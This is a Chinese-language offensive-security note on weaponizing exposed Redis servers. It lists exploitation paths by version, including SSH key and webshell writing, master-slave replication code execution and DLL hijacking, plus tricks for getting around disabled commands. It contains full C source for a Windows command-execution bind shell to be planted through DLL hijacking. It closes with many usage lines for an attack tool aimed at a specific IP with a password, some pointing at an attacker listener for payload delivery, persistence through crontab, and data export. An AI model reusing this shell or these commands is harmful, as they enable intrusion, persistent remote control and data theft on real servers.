Redis 武器化工具
前言:感谢rdt师傅帮助总结,一起对应写了一个工具进行使用,这边简单记录下笔记情况
参考文章:https://xz.aliyun.com/t/7974
参考文章:https://xz.aliyun.com/t/14455
参考文章:https://ricterz.me/posts/2019-07-08-two-tricks-of-redis-exploitation.txt
参考文章:https://github.com/Hel10-Web/Databasetools
参考文章:https://www.cnblogs.com/sup3rman/p/16803408.html
参考文章:https://xz.aliyun.com/t/11198
参考文章:https://github.com/yannh/redis-dump-go
参考文章:https://cloud.tencent.com/developer/article/2422977
Windows 常规 2.x 3.x
- 可主从复制
- 可DLL劫持
Windows 常规 4.x 5.x
- 可主从复制
- 可DLL劫持
- 可主从命令执行
Linux 常规4.x / 5.x
高权限
- 可写sshkey
- 可写webshell
- 可主从命令执行
- 可主从复制
低权限
- 可写webshell
- 可主从命令执行
- 可主从复制
Linux 常规6.x
高权限
- 可写sshkey
- 可写webshell
- 可主从复制
低权限
- 可写webshell
- 可主从复制
注意事项
- save命令被禁用,通过bgsave命令绕过
save -> bgsave
- 高冗余数据写入数据出现问题,rdbcompression设置解决
config set rdbcompression no
- 4.x 5.x redis版本情况下,如果config命令被禁用,通过主从攻击写默认文件dump.rdb直接加载动态链接库进行绕过
rename-command CONFIG ""
-
主从利用前备份数据,后续利用完进行恢复,参考redisdump项目pkg/redisdump/redisdump.go:152
-
redis可能缓存相关shiro key、反序列化键值对,敏感数据
- redis windows 不出网的情况下,可以本地监听,然后telnet连接进行命令执行
注意:可能有同学会问劫持dbghelp.dll重启之后redis无法运行的问题,这个问题其实只要做好dbghelp的转发函数即可解决
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib") //Winsock Library
#define BUF_SIZE 1024
int main(int argc, char* argv[])
{
WSADATA wsa;
SOCKET s, new_socket;
struct sockaddr_in server, client;
int c;
char buffer[BUF_SIZE];
FILE* pipe;
char result[BUF_SIZE];
if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
{
printf("Failed. Error Code : %d", WSAGetLastError());
return 1;
}
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
printf("Could not create socket : %d", WSAGetLastError());
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(12345);
if (bind(s, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR)
{
printf("Bind failed with error code : %d", WSAGetLastError());
}
listen(s, 1);
puts("Waiting for incoming connections...");
c = sizeof(struct sockaddr_in);
while ((new_socket = accept(s, (struct sockaddr*)&client, &c)) != INVALID_SOCKET)
{
puts("Connection accepted");
// Handle multiple commands
while (1) {
memset(buffer, 0, sizeof(buffer)); // Reset buffer
int recv_size;
unsigned char inIACSeq = 0; // Add state flag for IAC sequence.
bool flag = false;
if ((recv_size = recv(new_socket, buffer, BUF_SIZE, 0)) <= 0) {
printf("Client disconnected or an error occurred.\n");
break;
}
for (int i = 0; i < recv_size; i++) {
unsigned char ch = buffer[i];
if (ch == 255) { // IAC
inIACSeq = 1;
}
else if (inIACSeq) {
if (ch == 244) { // IP
printf("Ctrl+C received. Closing connection...\n");
flag = true;
break;
}
inIACSeq = 0; // Reset state flag.
}
}
// deal IAC
if (flag){
break;
}
// Handle Ctrl+C from client and "exit" command.
if (strcmp(buffer, "exit\r\n") == 0 || strcmp(buffer, "exit\n") == 0) {
printf("Ctrl+C received or 'exit' command received. Closing connection...\n");
send(new_socket, "Shell Session Quit!\n", strlen("Shell Session Quit!\n"), 0);
break;
}
printf("Received command: %s\n", buffer);
pipe = _popen(buffer, "r");
if (pipe == NULL) {
printf("Error!\n");
send(new_socket, "Error!\n", strlen("Error!\n"), 0);
continue;
}
while (fgets(result, sizeof(result), pipe) != NULL) {
send(new_socket, result, strlen(result), 0);
}
_pclose(pipe);
}
}
if (new_socket == INVALID_SOCKET)
{
printf("accept failed with error code : %d", WSAGetLastError());
return 1;
}
closesocket(s);
WSACleanup();
return 0;
}
武器化
Use Example:
./titan_agent_linux cli --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX
./titan_agent_linux cli --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --gbk
./titan_agent_linux shell --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --sshkey
./titan_agent_linux shell --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --sshkey --lfile public.pub
./titan_agent_linux shell --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --shell --lfile shell.txt
./titan_agent_linux shell --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --crontab --lfile cron.txt
./titan_agent_linux lua --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --cmd id
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --hijack --lfile dbghelp.dll --gbk
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --cmd id --lfile defender.so
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --cmd id --lfile defender.so --rpath /tmp/ --rfile defender.so
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --console --lfile defender.so
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --console --lfile defender.so --rpath /tmp/ --rfile defender.so
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --console --bypass --lfile defender.so
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --sshkey
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --sshkey --lfile public.pub
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --crontab --lfile cron.txt
./titan_agent_linux slave --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --lhost 1.11.121.110 --lport 443 --upload --lfile busybox-i686 --rpath /tmp/ --rfile busybox-i686
./titan_agent_linux data --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --export
./titan_agent_linux data --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --export --count 100
./titan_agent_linux data --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --import
./titan_agent_linux data --rhost 139.126.117.88 --rport 6379 --pwd 1qaz@WSX --search